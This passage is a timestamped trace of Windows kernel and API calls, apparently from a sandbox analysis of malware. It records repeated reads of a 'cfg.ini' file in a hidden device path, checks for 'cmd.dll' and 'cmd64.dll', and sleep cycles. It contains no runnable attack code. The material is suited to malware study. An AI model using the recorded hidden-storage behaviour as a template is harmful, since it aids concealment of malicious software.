FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.084] KeLeaveCriticalRegion () [0124.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.084] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.085] KeEnterCriticalRegion () [0124.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.085] ExFreePoolWithTag (P=0xfffffa8003befc10, Tag=0x0) [0124.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.085] KeLeaveCriticalRegion () [0124.085] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.085] ReleaseMutex (hMutex=0xf0) returned 1 [0124.085] Sleep (dwMilliseconds=0x124f80) [0124.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.102] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.102] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.102] KeEnterCriticalRegion () [0124.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.102] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.102] IdePortDispatch () returned 0x103 [0124.103] KeWaitForMutexObject () returned 0x0 [0124.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.103] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.103] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.103] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.103] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.103] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee870 [0124.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.103] KeLeaveCriticalRegion () [0124.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.103] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.103] KeEnterCriticalRegion () [0124.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.103] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.103] KeLeaveCriticalRegion () [0124.103] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.103] KeEnterCriticalRegion () [0124.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.103] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.103] IdePortDispatch () returned 0x103 [0124.103] KeWaitForMutexObject () returned 0x0 [0124.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.104] KeLeaveCriticalRegion () [0124.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.104] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.104] KeEnterCriticalRegion () [0124.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dd000 [0124.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.104] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.104] IdePortDispatch () returned 0x103 [0124.104] KeWaitForMutexObject () returned 0x0 [0124.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.104] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.104] IdePortDispatch () returned 0x103 [0124.104] KeWaitForMutexObject () returned 0x0 [0124.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.104] KeLeaveCriticalRegion () [0124.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.105] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.105] KeEnterCriticalRegion () [0124.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.105] KeLeaveCriticalRegion () [0124.105] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.105] KeEnterCriticalRegion () [0124.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.105] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.105] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.105] KeLeaveCriticalRegion () [0124.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.105] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.105] KeEnterCriticalRegion () [0124.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.105] ExFreePoolWithTag (P=0xfffffa8003bee870, Tag=0x0) [0124.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.106] KeLeaveCriticalRegion () [0124.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.106] ReleaseMutex (hMutex=0xf0) returned 1 [0124.106] Sleep (dwMilliseconds=0x124f80) [0124.121] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.121] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.121] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.121] KeEnterCriticalRegion () [0124.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.123] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.123] IdePortDispatch () returned 0x103 [0124.123] KeWaitForMutexObject () returned 0x0 [0124.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.123] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.123] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.123] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.123] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.123] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef490 [0124.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.123] KeLeaveCriticalRegion () [0124.123] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.124] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.124] KeEnterCriticalRegion () [0124.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.124] KeLeaveCriticalRegion () [0124.124] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.124] KeEnterCriticalRegion () [0124.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.124] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.124] IdePortDispatch () returned 0x103 [0124.124] KeWaitForMutexObject () returned 0x0 [0124.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.124] KeLeaveCriticalRegion () [0124.124] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.124] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.124] KeEnterCriticalRegion () [0124.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.124] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e2000 [0124.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.124] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.124] IdePortDispatch () returned 0x103 [0124.124] KeWaitForMutexObject () returned 0x0 [0124.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.125] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.125] IdePortDispatch () returned 0x103 [0124.125] KeWaitForMutexObject () returned 0x0 [0124.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.125] KeLeaveCriticalRegion () [0124.125] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.126] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.126] KeEnterCriticalRegion () [0124.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] KeLeaveCriticalRegion () [0124.126] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.126] KeEnterCriticalRegion () [0124.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.126] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] KeLeaveCriticalRegion () [0124.126] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.126] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.126] KeEnterCriticalRegion () [0124.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] ExFreePoolWithTag (P=0xfffffa8003bef490, Tag=0x0) [0124.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] KeLeaveCriticalRegion () [0124.126] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.126] ReleaseMutex (hMutex=0xf0) returned 1 [0124.126] Sleep (dwMilliseconds=0x124f80) [0124.142] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.142] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.142] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.142] KeEnterCriticalRegion () [0124.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.142] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.142] IdePortDispatch () returned 0x103 [0124.142] KeWaitForMutexObject () returned 0x0 [0124.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.143] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.143] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.143] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.143] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.143] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb440 [0124.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.143] KeLeaveCriticalRegion () [0124.143] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.143] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.143] KeEnterCriticalRegion () [0124.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.143] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.143] KeLeaveCriticalRegion () [0124.143] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.143] KeEnterCriticalRegion () [0124.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.143] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.143] IdePortDispatch () returned 0x103 [0124.143] KeWaitForMutexObject () returned 0x0 [0124.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.143] KeLeaveCriticalRegion () [0124.143] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.144] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.144] KeEnterCriticalRegion () [0124.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003500000 [0124.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.144] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.144] IdePortDispatch () returned 0x103 [0124.144] KeWaitForMutexObject () returned 0x0 [0124.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.144] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.144] IdePortDispatch () returned 0x103 [0124.144] KeWaitForMutexObject () returned 0x0 [0124.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.144] KeLeaveCriticalRegion () [0124.144] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.145] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.145] KeEnterCriticalRegion () [0124.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] KeLeaveCriticalRegion () [0124.145] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.145] KeEnterCriticalRegion () [0124.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.145] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] KeLeaveCriticalRegion () [0124.145] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.145] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.145] KeEnterCriticalRegion () [0124.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] ExFreePoolWithTag (P=0xfffffa8003beb440, Tag=0x0) [0124.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] KeLeaveCriticalRegion () [0124.145] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.145] ReleaseMutex (hMutex=0xf0) returned 1 [0124.145] Sleep (dwMilliseconds=0x124f80) [0124.159] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.159] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.159] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.159] KeEnterCriticalRegion () [0124.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.159] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.159] IdePortDispatch () returned 0x103 [0124.160] KeWaitForMutexObject () returned 0x0 [0124.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.160] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.160] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.160] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.160] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.160] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.160] KeLeaveCriticalRegion () [0124.160] IofCompleteRequest 